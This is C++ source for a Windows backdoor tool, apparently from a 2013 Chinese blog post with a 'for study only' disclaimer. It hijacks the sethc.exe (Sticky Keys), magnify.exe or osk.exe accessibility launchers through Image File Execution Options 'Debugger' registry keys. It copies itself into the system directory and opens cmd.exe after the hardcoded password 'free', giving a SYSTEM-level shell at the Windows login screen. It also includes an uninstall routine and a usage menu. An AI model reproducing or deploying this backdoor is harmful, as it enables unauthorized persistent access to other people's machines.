// freeheart.cpp : Defines the entry point for the console application.
//學習交流使用，違法使用后果自負。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i 
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技術(shù)，
// 在注冊表當中建立一個程序名的項目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
void anzhuang(char *Path,char *filename);
void xiezai(char *path,char *hName);
void CopyZiji(char *CopyPath);
char *password = "free";   //真密碼緩沖區(qū)
char *shuruPwd = "";    //輸入的密碼緩沖區(qū)
int errorbuff = 0;
char *PathBuff = "";  
char *FileName = "";
char *chsname = "sethc.exe"; //SHIFT粘貼鍵程序的名稱
char *fangdajing = "magnify.exe"; //
char *pingmujianpan = "osk.exe"; //
LPTSTR sysbuff;   //得到系統(tǒng)路徑的緩沖區(qū)
TCHAR tchBuffer2[1024];  //申請一個字符變量數(shù)組
sysbuff = tchBuffer2; //把系統(tǒng)的路徑放到這個變量數(shù)組里
 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系統(tǒng)路徑
 {
  sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系統(tǒng)路徑的后面，然后放入系統(tǒng)緩沖區(qū)當中。 
 }
 if (argv[1] != NULL)
 {
  //安裝命令判斷
  if (strcmp(argv[1],"-i") == 0)
  {
   if (argv[2] != NULL)
   {
    FileName=argv[2];
   }
   else
   {
    cout<<"請輸入文件名!";
    return 0;
   }
   if(argv[3] != NULL)
   {
    if(strcmp(argv[3],"1") == 0)
    {
     anzhuang(FileName,chsname);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); 
     cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
     return 0;
    }
     if(strcmp(argv[3],"2") == 0)
     {
     anzhuang(FileName,fangdajing);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); //調(diào)用函數(shù)
     cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
     return 0;
     }
      if(strcmp(argv[3],"3") == 0)
      {
      anzhuang(FileName,pingmujianpan);
      PathBuff = strcat(sysbuff,FileName);
      CopyZiji(PathBuff); //調(diào)用函數(shù)
      cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"請輸入?yún)?shù)!"<<endl;
       }
   return 0;
  }
//卸載
  if (strcmp(argv[1],"-u") == 0)
  {
   if(argv[2] != NULL)
   {
    if(strcmp(argv[2],"1") == 0)
    {
     xiezai(sysbuff,chsname);
     cout<<"刪除文件成功!"<<endl;
     return 0;
    }
     if(strcmp(argv[2],"2") == 0)
     {
     xiezai(sysbuff,fangdajing);
     cout<<"刪除文件成功!"<<endl;
     return 0;
     }
      if(strcmp(argv[2],"3") == 0)
      {
      xiezai(sysbuff,pingmujianpan);
      cout<<"刪除文件成功!"<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"請輸入?yún)?shù)!"<<endl;
       }
   return 0;
  }
      //為什么會進入這里 因為debugger a.exe 其實是兩個參數(shù)，因為if (argv[1] != NULL) 也就是第二個參數(shù)不等于空的話執(zhí)行下面的語句。
      while(errorbuff<3) //循環(huán)三次，錯誤。
       {
       cout<<"password:";
       cin>>shuruPwd;
        if (strcmp(shuruPwd,password) == 0)
        {
        system("cmd.exe");
        break;
        }
         else
         {
         cout<<"密碼錯誤!"<<endl;
         }
         errorbuff++; //自加一次 
       }
       return 0;
 }
system("color a");
cout<<"-----------------------------------------------------"<<endl;
cout<<"歡迎光臨自由的心,祝您好運!"<<endl;
cout<<"1: sethc.exe  Shift后門\n";
cout<<"2: magnify.exe 放大鏡后門\n";
cout<<"3: osk.exe  屏幕鍵盤后門\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安裝: freeheart.exe -i xx.exe 1"<<endl;
cout<<"卸載: freeheart.exe -u 1"<<endl;
cout<<"連接密碼:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return 0;
}
//安裝函數(shù)
void anzhuang(char *Path,char *filename)
{
 HKEY hSoftKey = NULL;
 HKEY hCompanyKey = NULL;
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
  if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
  {
   LPBYTE Value=(LPBYTE)Path; 
   long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); 
   RegCloseKey(hCompanyKey);
  }
  RegCloseKey(hSoftKey);
 }
}
//卸載函數(shù)
void xiezai(char *path,char *hName) //hName 傳遞進來的程序名
{
 HKEY hSoftKey = NULL;
 LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; 
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
 DWORD len = 256;
 DWORD type = REG_SZ;
 LPBYTE last = new BYTE[256];
 LPCTSTR hname = (LPCTSTR)hName; 
 char *HHname;
 HKEY hKey;    //在注冊表當中創(chuàng)建一個magnify名的項，在里面當中加入debugger,里面跟上自己的程序名的值。
 char* DelCom;
 HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注冊表的路徑
 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
  {
   DelCom=strcat(path,reinterpret_cast <char*>(last));
   DeleteFile(DelCom); //刪除文件
   RegDeleteKey(hSoftKey,hname); //刪除注冊表
  }
  RegCloseKey(hSoftKey); //關(guān)閉句柄
  RegCloseKey(hKey); //關(guān)閉句柄
 }
}
void CopyZiji(char *CopyPath) //將自身生成exe文件復制到指定的路徑下
{
 char PathBuff[MAX_PATH]; //申請一個字符變量數(shù)組,大小是系統(tǒng)最大的長度。
 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一個參數(shù)為NULL，就表示獲取當前程序的路徑,第二個參數(shù)就是存放到緩沖區(qū)。
 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身復制到目標路徑當中
}